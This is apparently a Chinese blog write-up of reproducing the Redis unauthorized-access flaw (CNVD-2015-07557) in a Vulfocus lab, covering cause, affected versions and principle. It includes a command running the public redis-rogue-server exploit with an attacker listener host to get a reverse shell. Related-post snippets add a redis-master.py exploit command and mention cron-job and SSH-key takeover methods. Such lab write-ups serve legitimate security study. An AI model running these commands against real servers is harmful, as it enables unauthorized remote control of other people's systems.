vulfocus漏洞学习——redis 未授权访问 （CNVD-2015-07557）

于 2025-05-19 20:58:13 发布
阅读量455 收藏 10
点赞数 4
CC 4.0 BY-SA版权
文章标签： 学习
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/2401_88083440/article/details/148018356

目录

一、漏洞介绍

二、影响版本

三、漏洞复现

1.使用脚本

四、漏洞原理

一、漏洞介绍

Redis 是一个免费开源的键值存储数据库，数据默认存到内存中，用简单的 C 语言编写，能通过网络访问。该漏洞的成因是：在默认情况下，Redis会绑定到 0.0.0.0:6379，这意味着Redis会直接暴露到公网上，而此时如果又没有设置密码认证，会导致任意用户在可以访问到目标服务器的情况下未授权访问Redis并读取Redis的数据，还可以利用Redis提供的命令将自己的ssh公钥写入目标服务器，从而导致可以直接进行ssh登录目标服务器。

二、影响版本

明确受影响版本 Redis<=5.0.5

但由于是配置不当导致的漏洞，所以高版本如果配置不当也可能导致

三、漏洞复现

1.使用脚本

使用github上一键利用的脚本：GitHub - n0b0dyCN/redis-rogue-server: Redis(<=5.0.5) RCE

python3 redis-rogue-server.py --rhost 192.168.57.143 --rport 40585 --lhost 192.168.57.128

 这里选择反弹shell，用kali进行监听

成功得到flag

看到还有用写入ssh公钥的，但可能由于我们是docker环境，配置起来稍微要麻烦些，并且尝试了也没有成功。如果是直接部署在虚拟机中的应该会成功。

四、漏洞原理

（1）Redis 默认配置不启用密码认证，且默认监听0.0.0.0:6379，允许任意IP连接。所以我们可以直接通过redis-cli工具无密码连接到redis服务；

（2）同时，Redis提供config等敏感命令，攻击者可以通过这些命令写入恶意文件


c30%00
关注
redis 未授权访问 (CNVD-2019-21763)
qq_32445755的博客
10-03 1149
近日，Redis 被爆出Redis 4.x/5.x 版本存在主从同步命令执行漏洞，攻击者通过构造特定的请求实现漏洞利用，成功利用漏洞可在目标服务器上实现Getshell，风险较高。目前漏洞的利用方式已被公开。CNVD-2015-07557也可以复现。
【漏洞复现】redis未授权访问
飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘
08-16 1362
Redis服务在一台服务器上可以同时启动多个Redis进程，Redis的实际处理速度则是完全依靠于主进程的执行效率。若在服务器.上只运行一个Redis进程， 当多个客户端同时访问时，服务器的处理能力是会有一-定程度的下降;即:在实际生产环境中，需要根据实际的需求来决定开启多少个Redis进程。Redis（Remote Dictionary Server )，即远程字典服务，是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库，并提供多种语言的API。....
redis未授权访问-cnvd 2015-0755漏洞复现
weixin_53747497的博客
02-04 977
未授权访问漏洞可以理解为需要安全配置或权限认证的地址、授权页面配置不当导 致其他用户可以无需认证授权直接访问从而引发重要权限可被操作、数据库或网站目录等敏感信息泄露。
cnvd_2015_07557-redis未授权访问rce漏洞复现-vulfocus复现
c0529的博客
06-10 1505
python3 redis-master.py -r 目的ip -p 目的端口 -L 47.100.167.248 -P 1111 -f RedisModulesSDK/exp.so -c "id"python3 redis-master.py -r 目的ip -p 目的端口 -L 攻击者ip -P 对应端口 -f RedisModulesSDK/exp.so -c "id"出了一个file，搜了一下是由于这个文件用python3写的，要检查一下你的服务器上是不是python版本3.0以上，用。
redis-CNVD-2015-07557
m0_51369969的博客
07-13 889
redis设计缺陷，导致服务器被添加账号用于ssh远程登录
Vulfocus-Redis漏洞复现（特征识别+自动化测试项目）
qq_68064663的博客
11-15 896
Vulfocus-Redis漏洞复现（特征识别+自动化测试项目）
VULFOCUS-redis未授权访问（CNVD-2019-21763 ）
HAKUNAMATATATTA的博客
11-30 3407
redis未授权访问，主从复制RCE
关于Redis未授权访问漏洞利用的介绍与修复建议
01-21
本文主要给大家介绍了关于Redis未授权访问漏洞利用的相关内容，文中对该漏洞进行了详细，并给出了相对应的修复/安全建议，下面话不多说了，来一起看看详细的介绍吧。 一、漏洞介绍 Redis 默认情况下，会绑定在 0.0....
服务攻防_01数据库安全Redis&Couchdb&H2database
fencecat的博客
07-20 1488
本节内容涵盖了对几种常见数据库可能存在的安全漏洞进行复现的方法，包括Redis的未授权访问与已知CVE漏洞、CouchDB的未授权越权漏洞与已知CVE漏洞，以及H2 Database的未授权访问漏洞与已知CVE漏洞。
redis配置不当可直接导致服务器被控制
★匆匆★的专栏
11-14 1981
http://www.secpulse.com/archives/40406.html#respond 预警简述： 2014年的时候安全脉搏首发《利用redis写webshell》《redis写shell的小技巧》 近日我们监测到antirez.com曝出redis存在高危安全风险，攻击者利用该风险可直接控制业务服务器，导致被入侵。 目前已监测到攻击者正在利用该漏洞攻击
redis（未授权访问漏洞）
qq_68600196的博客
08-26 1065
本文介绍如何复现并利用Redis的未授权访问漏洞，以达到远程代码执行和获取系统权限的目的。Redis版本（2.8），于Ubuntu环境下进行。SSRF（Server-Side Request Forgery）是一种网络安全漏洞，允许攻击者欺骗服务器去访问或获取本不应该被访问的资源。通常，SSRF漏洞出现在服务器端应用程序中，当它们从用户输入中生成请求时，攻击者可以利用这一点来进行恶意操作。
Redis未授权访问漏洞详解（全面）
m0_64481831的博客
02-26 4429
Redis是一款内存高速缓存的数据库，是一款K-V型数据库，它的所有键值都是用字典来存储的。其中它的value支持多种数据类型，包括String、List、Set、Zset和Hash。Redis默认情况下绑定在127.0.0.1:6379，在没有进行采用相关的策略，如添加防火墙规则避免其他非信任来源ip访问，就会将Redis服务暴露在公网上；并且Redis默认情况是空密码连接在服务器以root身份运行Redis时这将导致任意用户可以访问目标服务器下未授权访问Redis以及读取Redis数据。
Redis未授权访问漏洞(一)先导篇
把自己活成一道光，因为你不知道，谁会借着你的光，走出了黑暗。请保持心中的善良，因为你不知道，谁会借着你的善良，走出了绝望。请保持你心中的信仰，因为你不知道，谁会借着你的信仰，走出了迷茫。请相信自己的力量，因为你不知道，谁会因为相信你，开始相信了自己....
01-09 1617
Redis默认情况下，会绑定在0.0.0.0:6379，如果没有进行采用相关的策略，比如添加防火墙规则避免其他非信任来源ip访问等，这样将会将Redis服务暴露到公网上。如果在没有设置密码认证（一般为空）的情况下，会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis以及读取Redis的数据。
Redis未授权访问漏洞
2401_88756905的博客
11-13 938
var/spool/cron/目录下存放的为以各个用户命名的计划任务文件，root用户可以修改任意用户的计划任务。前提是已知web的绝对路径、web目录具有读写权限，不知道绝对路径时可以尝试目录爆破看下是否存在phpinfo文件，也可以尝试apache的默认路径：/var/www/html/执行命令反弹shell(写计划任务时会覆盖原来存在的用户计划任务).写文件之前先获取dir和dbfilename的值，以便恢复redis配置，将改动降到最低，避免被发现。redis的几条命令就是这个漏洞利用的关键。
什么是未授权访问漏洞？Hadoop & Redis靶场实战——Vulfocus服务攻防
xt350488的博客
06-30 1310
Vulfocus是一个便捷的漏洞集成平台，用户只需加载漏洞环境的Docker镜像即可快速使用。它具备一键启动、自动更新flag、计分考核等特性，适用于安全测试和能力评估。平台兼容Vulhub和Vulapps的镜像，支持可视化配置，是安全人员的理想工具。在线位置：https://vulfocus.cn/#/dashboard离线版本：https://github.com/fofapro/vulfocus （即使没有网络也可以在本地进行渗透测试）Tips：docker 部署过程需要科学上网。
未授权访问：Redis未授权访问漏洞
qq_68163788的博客
05-08 1402
未经授权访问是指在Redis数据库中，未经过身份验证或授权的情况下访问数据库的行为。Redis是一种流行的开源内存数据库，用于存储数据并提供快速访问。如果Redis实例未经过适当的安全配置，攻击者可以利用这一漏洞，访问敏感数据，修改数据或甚至破坏数据库。未经授权访问可能导致数据泄露、数据损坏和系统崩溃等严重后果。为了防止未经授权访问，管理员应该采取必要的安全措施，例如设置访问控制列表、使用密码进行身份验证和定期更新Redis的安全配置。通过加强安全措施，可以有效防止未经授权访问对Redis数据库造成的风险。
Redis未授权访问漏洞原理
最新发布
2301_80976241的博客
02-19 1693
Redis，全称为Remote Dictionary Server（远程字典服务器），是一种开源的内存数据结构存储系统，主要用作数据库、缓存和消息中间件。redis支持多种类型的数据结构，如字符串（strings），散列（hashes）， 列表（lists），集合（sets），有序集合（sorted sets）。redis数据库能够存储的数据类型很丰富，应用场景多，同时纯内存的数据结构使它的读写速度很快，功能特性也在逐步丰富。
vulfocus靶场之redis命令执行cve-2022-0543漏洞复现
没有故事
04-18 1188
我们借助Lua沙箱中遗留的变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。Debian以及Ubuntu发行版的源在打包Redis时，不慎在Lua沙箱中遗留了一个对象package，攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数，进而逃逸沙箱执行任意命令。Redis是著名的开源Key-Value数据库，其具备在沙箱中执行Lua脚本的能力。输入网址和端口，点击OK。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值